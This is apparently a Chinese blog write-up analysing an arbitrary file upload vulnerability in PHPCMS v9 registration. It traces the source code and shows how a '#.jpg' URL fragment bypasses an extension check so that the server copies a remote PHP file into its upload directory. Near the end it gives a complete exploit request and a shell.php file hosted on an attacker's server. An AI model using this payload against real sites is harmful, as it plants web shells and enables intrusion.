前言
phpcmsv9任意文件上传漏洞
漏洞分析
定位:./phpcms/modules/member/index.php::register.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| public function register() { $this->_session_start(); $siteid = isset($_REQUEST['siteid']) && trim($_REQUEST['siteid']) ? intval($_REQUEST['siteid']) : 1; if (!defined('SITEID')) { define('SITEID', $siteid); } ... ... if(isset($_POST['dosubmit'])) { if($member_setting['enablcodecheck']=='1'){ if ((empty($_SESSION['connectid']) && $_SESSION['code'] != strtolower($_POST['code']) && $_POST['code']!==NULL) || empty($_SESSION['code'])) { showmessage(L('code_error')); } else { $_SESSION['code'] = ''; } } $userinfo = array(); $userinfo['encrypt'] = create_randomstr(6);
$userinfo['username'] = (isset($_POST['username']) && is_username($_POST['username'])) ? $_POST['username'] : exit('0'); $userinfo['nickname'] = (isset($_POST['nickname']) && is_username($_POST['nickname'])) ? $_POST['nickname'] : ''; $userinfo['email'] = (isset($_POST['email']) && is_email($_POST['email'])) ? $_POST['email'] : exit('0'); $userinfo['password'] = (isset($_POST['password']) && is_badword($_POST['password'])==false) ? $_POST['password'] : exit('0'); $userinfo['email'] = (isset($_POST['email']) && is_email($_POST['email'])) ? $_POST['email'] : exit('0');
$userinfo['modelid'] = isset($_POST['modelid']) ? intval($_POST['modelid']) : 10; $userinfo['regip'] = ip(); $userinfo['point'] = $member_setting['defualtpoint'] ? $member_setting['defualtpoint'] : 0; $userinfo['amount'] = $member_setting['defualtamount'] ? $member_setting['defualtamount'] : 0; $userinfo['regdate'] = $userinfo['lastdate'] = SYS_TIME; $userinfo['siteid'] = $siteid; $userinfo['connectid'] = isset($_SESSION['connectid']) ? $_SESSION['connectid'] : ''; $userinfo['from'] = isset($_SESSION['from']) ? $_SESSION['from'] : ''; ... ... if($member_setting['choosemodel']) { require_once CACHE_MODEL_PATH.'member_input.class.php'; require_once CACHE_MODEL_PATH.'member_update.class.php'; $member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']); $user_model_info = $member_input->get($_POST['info']); } ... ...
|
关键代码:
1 2 3 4 5 6 7
| if($member_setting['choosemodel']) { require_once CACHE_MODEL_PATH.'member_input.class.php'; require_once CACHE_MODEL_PATH.'member_update.class.php'; $member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']); $user_model_info = $member_input->get($_POST['info']); }
|
加载模块后,定义一个新的member_input对象
.然后POST
一个info.跟进get()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| function get($data) { $this->data = $data = trim_script($data); $model_cache = getcache('member_model', 'commons'); $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
$info = array(); $debar_filed = array('catid','title','style','thumb','status','islink','description'); if(is_array($data)) { foreach($data as $field=>$value) { if($data['islink']==1 && !in_array($field,$debar_filed)) continue; $field = safe_replace($field); $name = $this->fields[$field]['name']; $minlength = $this->fields[$field]['minlength']; $maxlength = $this->fields[$field]['maxlength']; $pattern = $this->fields[$field]['pattern']; $errortips = $this->fields[$field]['errortips']; if(empty($errortips)) $errortips = "$name 不符合要求!"; $length = empty($value) ? 0 : strlen($value); if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!"); if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段'); if($maxlength && $length > $maxlength && !$isimport) { showmessage("$name 不得超过 $maxlength 个字符!"); } else { str_cut($value, $maxlength); } if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips); if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!"); $func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value; } } return $info; }
|
关键代码:
1
| if(method_exists($this, $func)) $value = $this->$func($field, $value);
|
这里的$func
在为本文件中的editor()
,原因是因为我们的payload为info[content]
,然后跟进editor()
1 2 3 4 5 6 7 8
| function editor($field, $value) { $setting = string2array($this->fields[$field]['setting']); $enablesaveimage = $setting['enablesaveimage']; $site_setting = string2array($this->site_config['setting']); $watermark_enable = intval($site_setting['watermark_enable']); $value = $this->attachment->download('content', $value,$watermark_enable); return $value; }
|
然后跟进download()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
|
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename);
$newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value); }
|
该函数是用于下载附件的.然后第一个关注点
1
| if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
|
这段代码的意思是:传入的下载内容要满足格式
1
| href|src=url.gif|jpg|jpeg|bmp|png
|
接着第二个关注点
1 2 3 4 5 6
| foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); }
|
跟进函数fillurl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| function fillurl($surl, $absurl, $basehref = '') { if($basehref != '') { $preurl = strtolower(substr($surl,0,6)); if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://') return $surl; else return $basehref.'/'.$surl; } $i = 0; $dstr = ''; $pstr = ''; $okurl = ''; $pathStep = 0; $surl = trim($surl); if($surl=='') return ''; $urls = @parse_url(SITE_URL); $HomeUrl = $urls['host']; $BaseUrlPath = $HomeUrl.$urls['path']; $BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath); $BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath); $pos = strpos($surl,'#'); if($pos>0) $surl = substr($surl,0,$pos); if($surl[0]=='/') { $okurl = 'http://'.$HomeUrl.'/'.$surl; } elseif($surl[0] == '.') { if(strlen($surl)<=2) return ''; elseif($surl[0]=='/') { $okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2); } else { $urls = explode('/',$surl); foreach($urls as $u) { if($u=="..") $pathStep++; else if($i<count($urls)-1) $dstr .= $urls[$i].'/'; else $dstr .= $urls[$i]; $i++; } $urls = explode('/', $BaseUrlPath); if(count($urls) <= $pathStep) return ''; else { $pstr = 'http://'; for($i=0;$i<count($urls)-$pathStep;$i++) { $pstr .= $urls[$i].'/'; } $okurl = $pstr.$dstr; } } } else { $preurl = strtolower(substr($surl,0,6)); if(strlen($surl)<7) $okurl = 'http://'.$BaseUrlPath.'/'.$surl; elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') $okurl = $surl; else $okurl = 'http://'.$BaseUrlPath.'/'.$surl; } $preurl = strtolower(substr($okurl,0,6)); if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') { return $okurl; } else { $okurl = preg_replace('/^(http:\/\/)/i','',$okurl); $okurl = preg_replace('/\/{1,}/i','/',$okurl); return 'http://'.$okurl; } }
|
这个函数中的关键代码在于
1 2
| $pos = strpos($surl,'#'); if($pos>0) $surl = substr($surl,0,$pos);
|
这个他会将矛点以后内容就删掉了.如果构造的payload长这样http://vps/shell.php#.jpg
那么就能构造出一个带有shell的url
然后继续看到
1
| if($upload_func($file, $newfile))
|
$upload_func
实际上就是调用了copy()
1
| $this->upload_func = 'copy';
|
$file
就是我们的上传文件url.然后$newfile
就是文件保存路径.
构造payload
1 2
| ?m=member&c=index&a=register&siteid=1 POST:siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://127.0.0.1/shell.php#.jpg>&dosubmit=1
|
然后shell.php的内容
1 2 3 4 5
| <?php
echo "<?php phpinfo(); ?>"
?>
|
然后文件路径.由于
这里的插入数据库操作,由于payload中的content
字段数据库中并没有,所以会报错
总结
希望自己在进步,冲!!!